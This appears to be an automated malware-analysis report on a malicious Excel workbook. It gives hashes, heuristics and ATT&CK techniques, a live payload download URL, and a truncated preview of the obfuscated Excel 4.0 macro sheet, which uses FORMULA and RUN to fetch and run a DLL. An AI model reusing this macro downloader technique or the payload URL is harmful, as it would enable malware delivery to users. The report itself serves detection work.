Office (OOXML) malware analysis — malicious · 26fac065fe81ec7a

MALICIOUS

Office (OOXML)

97.4 KB Created: 2020-06-07 16:41:23 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2020-07-24

MD5: 79cee5f6b728b86c51db0eeb41f05af5 SHA-1: 4d66dbd3015d7fecb1e0731bd414db8cc1595009 SHA-256: 26fac065fe81ec7a6110ec20b9da5c097c39d52838cc1828136557f6277e6f34

290 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros, indicated by the OOXML_XLM_MACROSHEET heuristic. These macros utilize dangerous XLM formula APIs such as FORMULA, RUN, and REGISTER, along with Win32 API strings like URLDownloadToFileA and ShellExecuteA, to download and execute a payload from the URL https://onallyblo.at/3/gbs.dll. The presence of hidden sheets and the use of LOLBins like regsvr32.exe and rundll32.exe further support the malicious intent.

Heuristics 7

Excel 4.0 macro sheet (1 sheet(s)) critical 3 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: FORMULA, RUN, REGISTER, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Binary XLM macro sheet with WinAPI/download strings critical OOXML_XLM_BINARY_WINAPI_STRINGS

Excel 4.0 macro sheet is stored as BIFF12/XLSB binary data and contains Win32 download or process-execution API strings such as URLDownloadToFileA, ShellExecuteA, or CreateDirectoryA. These strings are high-signal in XLM macro sheets and catch payload-download macros that XML-formula scanners cannot parse.
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 31 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://onallyblo.at/3/gbs.dll In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 38094 bytes

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	38094 bytes
SHA-256: `40eafc133acdcae7071837c7369a3711e88bdae9bd6965faecb630b8d1ec9d5b`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="D2:IO1999"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="2" spans="49:110" x14ac:dyDescent="0.25"><c r="DF2" t="s"><v>19</v></c></row><row r="11" spans="49:110" x14ac:dyDescent="0.25"><c r="AW11" t="s"><v>28</v></c></row><row r="19" spans="48:235" x14ac:dyDescent="0.25"><c r="DB19" t="s"><v>73</v></c></row><row r="20" spans="48:235" x14ac:dyDescent="0.25"><c r="GG20" t="s"><v>19</v></c></row><row r="22" spans="48:235" x14ac:dyDescent="0.25"><c r="AV22" t="s"><v>15</v></c></row><row r="26" spans="48:235" x14ac:dyDescent="0.25"><c r="ES26" t="s"><v>27</v></c></row><row r="27" spans="48:235" x14ac:dyDescent="0.25"><c r="IA27" t="s"><v>63</v></c></row><row r="29" spans="48:235" x14ac:dyDescent="0.25"><c r="EM29" t="s"><v>15</v></c></row><row r="33" spans="4:204" x14ac:dyDescent="0.25"><c r="BQ33" t="s"><v>15</v></c></row><row r="35" spans="4:204" x14ac:dyDescent="0.25"><c r="D35" t="s"><v>51</v></c></row><row r="41" spans="4:204" x14ac:dyDescent="0.25"><c r="GV41" t="s"><v>18</v></c></row><row r="44" spans="4:204" x14ac:dyDescent="0.25"><c r="FC44" t="s"><v>23</v></c></row><row r="51" spans="54:130" x14ac:dyDescent="0.25"><c r="BU51" t="s"><v>36</v></c></row><row r="54" spans="54:130" x14ac:dyDescent="0.25"><c r="BB54" t="s"><v>52</v></c></row><row r="58" spans="54:130" x14ac:dyDescent="0.25"><c r="DZ58" t="s"><v>19</v></c></row><row r="65" spans="65:202" x14ac:dyDescent="0.25"><c r="BM65"><v>108</v></c></row><row r="66" spans="65:202" x14ac:dyDescent="0.25"><c r="BM66"><v>210</v></c></row><row r="75" spans="65:202" x14ac:dyDescent="0.25"><c r="GT75" t="s"><v>50</v></c></row><row r="91" spans="45:45" x14ac:dyDescent="0.25"><c r="AS91" t="s"><v>41</v></c></row><row r="108" spans="210:212" x14ac:dyDescent="0.25"><c r="HB108" t="b"><f>FORMULA($IC$372&$DZ$1721&$GO$964&$BE$1928&$II$1423&$BW$1977&$FV$1474&$BS$1641&$ES$447&$CJ$708&$DD$808&$BT$458&$HV$149&$DR$1020&$CB$363&$DR$1773&$FO$564&$HU$1375&$AM$536&$FR$158&$DB$1001&$HD$1387&$FG$1705&$EJ$544&$EF$1579&$AN$1043&$CK$786&$DQ$1615&$DL$1293&$DE$1013,$BB$54)</f><v>1</v></c><c r="HD108" t="s"><v>19</v></c></row><row r="109" spans="210:212" x14ac:dyDescent="0.25"><c r="HB109" t="b"><f>RUN($FN$806)</f><v>0</v></c></row><row r="118" spans="174:174" x14ac:dyDescent="0.25"><c r="FR118" t="s"><v>0</v></c></row><row r="146" spans="56:230" x14ac:dyDescent="0.25"><c r="GX146" t="s"><v>0</v></c></row><row r="147" spans="56:230" x14ac:dyDescent="0.25"><c r="EV147" t="s"><v>1</v></c></row><row r="148" spans="56:230" x14ac:dyDescent="0.25"><c r="DE148" t="b"><f>FORMULA($GU$180&$BR$379&$BG$1597&$FY$395&$AI$384&$GZ$536&$BO$517&$BD$154&$AC$1663&$HM$598&$BP$1965&$IA$1244,$IA$27)</f><v>1</v></c></row><row r="149" spans="56:230" x14ac:dyDescent="0.25"><c r="DE149" t="b"><f>RUN($HY$606)</f><v>0</v></c><c r="HV149" t="s"><v>9</v></c></row><row r="151" spans="56:230" x14ac:dyDescent="0.25"><c r="BL151" t="s"><v>30</v></c></row><row r="154" spans="56:230" x14ac:dyDescent="0.25"><c r="BD154"><v>2</v></c></row><row r="158" spans="56:230" x14ac:dyDescent="0.25"><c r="FR158" t="s"><v>1</v></c></row><row r="166" spans="176:190" x14ac:dyDescent="0.25"><c r="FT166" t="s"><v>31</v></c></row><row r="173" spans="176:190" x14ac:dyDescent="0.25"><c r="GH173" t="s"><v>15</v></c></row><row r="177" spans="63:203" x14ac:dyDescent="0.25"><c r="FU177" t="s"><v>4</v></c></row><row r="180" spans="63:203" x14ac:d ... (truncated)

SHA-256: 40eafc133acdcae7071837c7369a3711e88bdae9bd6965faecb630b8d1ec9d5b

Preview script

First 1,000 lines of the extracted script

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="D2:IO1999"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="2" spans="49:110" x14ac:dyDescent="0.25"><c r="DF2" t="s"><v>19</v></c></row><row r="11" spans="49:110" x14ac:dyDescent="0.25"><c r="AW11" t="s"><v>28</v></c></row><row r="19" spans="48:235" x14ac:dyDescent="0.25"><c r="DB19" t="s"><v>73</v></c></row><row r="20" spans="48:235" x14ac:dyDescent="0.25"><c r="GG20" t="s"><v>19</v></c></row><row r="22" spans="48:235" x14ac:dyDescent="0.25"><c r="AV22" t="s"><v>15</v></c></row><row r="26" spans="48:235" x14ac:dyDescent="0.25"><c r="ES26" t="s"><v>27</v></c></row><row r="27" spans="48:235" x14ac:dyDescent="0.25"><c r="IA27" t="s"><v>63</v></c></row><row r="29" spans="48:235" x14ac:dyDescent="0.25"><c r="EM29" t="s"><v>15</v></c></row><row r="33" spans="4:204" x14ac:dyDescent="0.25"><c r="BQ33" t="s"><v>15</v></c></row><row r="35" spans="4:204" x14ac:dyDescent="0.25"><c r="D35" t="s"><v>51</v></c></row><row r="41" spans="4:204" x14ac:dyDescent="0.25"><c r="GV41" t="s"><v>18</v></c></row><row r="44" spans="4:204" x14ac:dyDescent="0.25"><c r="FC44" t="s"><v>23</v></c></row><row r="51" spans="54:130" x14ac:dyDescent="0.25"><c r="BU51" t="s"><v>36</v></c></row><row r="54" spans="54:130" x14ac:dyDescent="0.25"><c r="BB54" t="s"><v>52</v></c></row><row r="58" spans="54:130" x14ac:dyDescent="0.25"><c r="DZ58" t="s"><v>19</v></c></row><row r="65" spans="65:202" x14ac:dyDescent="0.25"><c r="BM65"><v>108</v></c></row><row r="66" spans="65:202" x14ac:dyDescent="0.25"><c r="BM66"><v>210</v></c></row><row r="75" spans="65:202" x14ac:dyDescent="0.25"><c r="GT75" t="s"><v>50</v></c></row><row r="91" spans="45:45" x14ac:dyDescent="0.25"><c r="AS91" t="s"><v>41</v></c></row><row r="108" spans="210:212" x14ac:dyDescent="0.25"><c r="HB108" t="b"><f>FORMULA($IC$372&amp;$DZ$1721&amp;$GO$964&amp;$BE$1928&amp;$II$1423&amp;$BW$1977&amp;$FV$1474&amp;$BS$1641&amp;$ES$447&amp;$CJ$708&amp;$DD$808&amp;$BT$458&amp;$HV$149&amp;$DR$1020&amp;$CB$363&amp;$DR$1773&amp;$FO$564&amp;$HU$1375&amp;$AM$536&amp;$FR$158&amp;$DB$1001&amp;$HD$1387&amp;$FG$1705&amp;$EJ$544&amp;$EF$1579&amp;$AN$1043&amp;$CK$786&amp;$DQ$1615&amp;$DL$1293&amp;$DE$1013,$BB$54)</f><v>1</v></c><c r="HD108" t="s"><v>19</v></c></row><row r="109" spans="210:212" x14ac:dyDescent="0.25"><c r="HB109" t="b"><f>RUN($FN$806)</f><v>0</v></c></row><row r="118" spans="174:174" x14ac:dyDescent="0.25"><c r="FR118" t="s"><v>0</v></c></row><row r="146" spans="56:230" x14ac:dyDescent="0.25"><c r="GX146" t="s"><v>0</v></c></row><row r="147" spans="56:230" x14ac:dyDescent="0.25"><c r="EV147" t="s"><v>1</v></c></row><row r="148" spans="56:230" x14ac:dyDescent="0.25"><c r="DE148" t="b"><f>FORMULA($GU$180&amp;$BR$379&amp;$BG$1597&amp;$FY$395&amp;$AI$384&amp;$GZ$536&amp;$BO$517&amp;$BD$154&amp;$AC$1663&amp;$HM$598&amp;$BP$1965&amp;$IA$1244,$IA$27)</f><v>1</v></c></row><row r="149" spans="56:230" x14ac:dyDescent="0.25"><c r="DE149" t="b"><f>RUN($HY$606)</f><v>0</v></c><c r="HV149" t="s"><v>9</v></c></row><row r="151" spans="56:230" x14ac:dyDescent="0.25"><c r="BL151" t="s"><v>30</v></c></row><row r="154" spans="56:230" x14ac:dyDescent="0.25"><c r="BD154"><v>2</v></c></row><row r="158" spans="56:230" x14ac:dyDescent="0.25"><c r="FR158" t="s"><v>1</v></c></row><row r="166" spans="176:190" x14ac:dyDescent="0.25"><c r="FT166" t="s"><v>31</v></c></row><row r="173" spans="176:190" x14ac:dyDescent="0.25"><c r="GH173" t="s"><v>15</v></c></row><row r="177" spans="63:203" x14ac:dyDescent="0.25"><c r="FU177" t="s"><v>4</v></c></row><row r="180" spans="63:203" x14ac:d
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.